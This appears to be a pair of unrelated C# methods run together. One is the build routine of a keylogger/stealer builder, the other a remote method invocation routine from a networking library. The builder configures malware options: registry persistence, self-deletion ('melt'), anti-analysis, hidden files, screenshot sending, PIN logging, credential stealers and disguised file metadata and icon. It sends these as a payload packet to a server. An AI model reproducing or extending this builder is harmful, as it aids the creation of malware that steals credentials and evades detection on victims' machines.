private void BuildFile() { this.Enabled = false; string uploadKey = tbUploadKey.txtbox.Text; string time = nudInterval.Value.ToString(); string mutex = Random(); if (string.IsNullOrEmpty(uploadKey) || string.IsNullOrEmpty(time)) { this.Enabled = true; return; } tbBuildLog.Text += "> Upload Key: " + uploadKey + Environment.NewLine; tbBuildLog.Text += "> Log Interval: " + time + Environment.NewLine; tbBuildLog.Text += "> Mutex: " + mutex + Environment.NewLine; bool installFile = cbInstallFile.Checked; string processName = tbProcessName.txtbox.Text; string folder = tbFolder.txtbox.Text; string directory = cbDirectory.Text; bool hkcu = cbHKCU.Checked; bool hklm = cbHKLM.Checked; string hkcuKey = tbHKCU.txtbox.Text; string hklmKey = tbHKLM.txtbox.Text; bool meltFile = cbMeltFile.Checked; bool antis = cbAntis.Checked; bool sendScreenshots = cbSendScreenshots.Checked; bool hideFile = cbHideFile.Checked; bool pinlogger = cbPinlogger.Checked; bool stealers = cbStealers.Checked; string title = tbTitle.txtbox.Text; string description = tbDescription.txtbox.Text; string product = tbProduct.txtbox.Text; string copyright = tbCopyright.txtbox.Text; string version = tbVersion.txtbox.Text; string guid = tbGUID.txtbox.Text; string iconPath = tbIconPath.txtbox.Text; bool changeIcon = !string.IsNullOrEmpty(tbIconPath.txtbox.Text); byte[] iconFile = null; if (changeIcon) { iconFile = File.ReadAllBytes(iconPath); } using (PayloadWriter pw = new PayloadWriter()) { pw.WriteByte(0x03); pw.WriteString(uploadKey); pw.WriteString(time); pw.WriteString(mutex); pw.WriteBool(installFile); if (installFile) { pw.WriteString(processName); pw.WriteString(folder); pw.WriteString(directory); } pw.WriteBool(hkcu); if (hkcu) { pw.WriteString(hkcuKey); } pw.WriteBool(hklm); if (hklm) { pw.WriteString(hklmKey); } pw.WriteBool(meltFile); pw.WriteBool(antis); pw.WriteBool(sendScreenshots); pw.WriteBool(hideFile); pw.WriteBool(pinlogger); pw.WriteBool(stealers); pw.WriteString(title); pw.WriteString(description); pw.WriteString(product); pw.WriteString(copyright); pw.WriteString(version); pw.WriteString(guid); pw.WriteBool(changeIcon); if (changeIcon) { pw.WriteInteger(iconFile.Length); pw.WriteBytes(iconFile); } byte[] packet = pw.ToByteArray(); tbBuildLog.Text += "> Sending packet size: " + packet.Length + Environment.NewLine; GlobalVariables.SendData(packet); } }
private void _Invoke(ref object RetObject, params object[] args) { if (args.Length < ArgumentTypes.Length) //check if a argument is using "params x[] args" { throw new Exception("missing arguments"); } List <int> usedDelegates = new List <int>(); PayloadWriter pw = new PayloadWriter(); SmartSerializer serializer = new SmartSerializer(); for (int i = 0; i < args.Length; i++) { object obj = ArgumentTypes[i].IsByRef ? null : args[i]; if (DelegateIndex.ContainsKey(i)) { obj = null; } byte[] SerializedObj = serializer.Serialize(obj); pw.WriteInteger(SerializedObj.Length); pw.WriteBytes(SerializedObj); } for (int i = 0; i < DelegateIndex.Count; i++) { Delegate del = args[DelegateIndex.Keys[i]] as Delegate; if (del != null) { if (del.Method == null) { throw new Exception("Target delegate is NULL"); } int id = rnd.Next(); while (Delegates.ContainsKey(id)) { id = rnd.Next(); } pw.WriteBool(true); SharedDelegate sharedDel = new SharedDelegate(del.Method, sharedClass, del.GetType(), id, del, this.MethodId); sharedDel.sharedMethod.Unchecked = this.Unchecked; //DelegateIndex.Values[i].isUnchecked; sharedDel.sharedMethod.usePacketQueue = this.usePacketQueue; //DelegateIndex.Values[i].UsePacketQueue; sharedDel.sharedMethod.useUdp = this.useUdp; //DelegateIndex.Values[i].UseUDP; pw.WriteObject(sharedDel); if (!isDelegate) { Delegates.Add(id, sharedDel); } continue; } pw.WriteBool(false); } try { if (Unchecked || useUdp) { //just execute the method and don't wait for response sharedClass.Client.Send(new MsgExecuteMethod(0, pw.ToByteArray(), false, sharedClass.SharedId, MethodId, this.DelegateId, this.sharedClass.SharedId)); } else { SyncObject syncObject = null; Random rnd = new Random(); int RequestId = rnd.Next(); lock (sharedClass.Client.Requests) { while (sharedClass.Client.Requests.ContainsKey(RequestId)) { RequestId = rnd.Next(); } syncObject = new SyncObject(sharedClass.Client); sharedClass.Client.Requests.Add(RequestId, syncObject); sharedClass.Client.Send(new MsgExecuteMethod(RequestId, pw.ToByteArray(), true, sharedClass.SharedId, MethodId, this.DelegateId, this.sharedClass.SharedId)); } RetObject = syncObject.Wait <ReturnResult>(null, TimeOutLength); if (syncObject.TimedOut) { //copying the object in memory, maybe a strange way todo it but it works RetObject = new ReturnResult(serializer.Deserialize(serializer.Serialize(this.TimeOutValue)), false); } } } catch { //client most likely disconnected and was unable to send the message RetObject = null; } /*if (callback != null) * { * sharedClass.connection.BeginSendRequest(pw, callback, true, this.usePacketQueue); * } * else * { * if (Unchecked || useUdp) * { * //just don't wait till we received something back since it's a VOID anyway * sharedClass.connection.BeginSendRequest(pw, (object obj) => { }, false, this.usePacketQueue); * } * else * { * RetObject = sharedClass.connection.SendRequest(pw, this.usePacketQueue); * } * }*/ serializer = null; }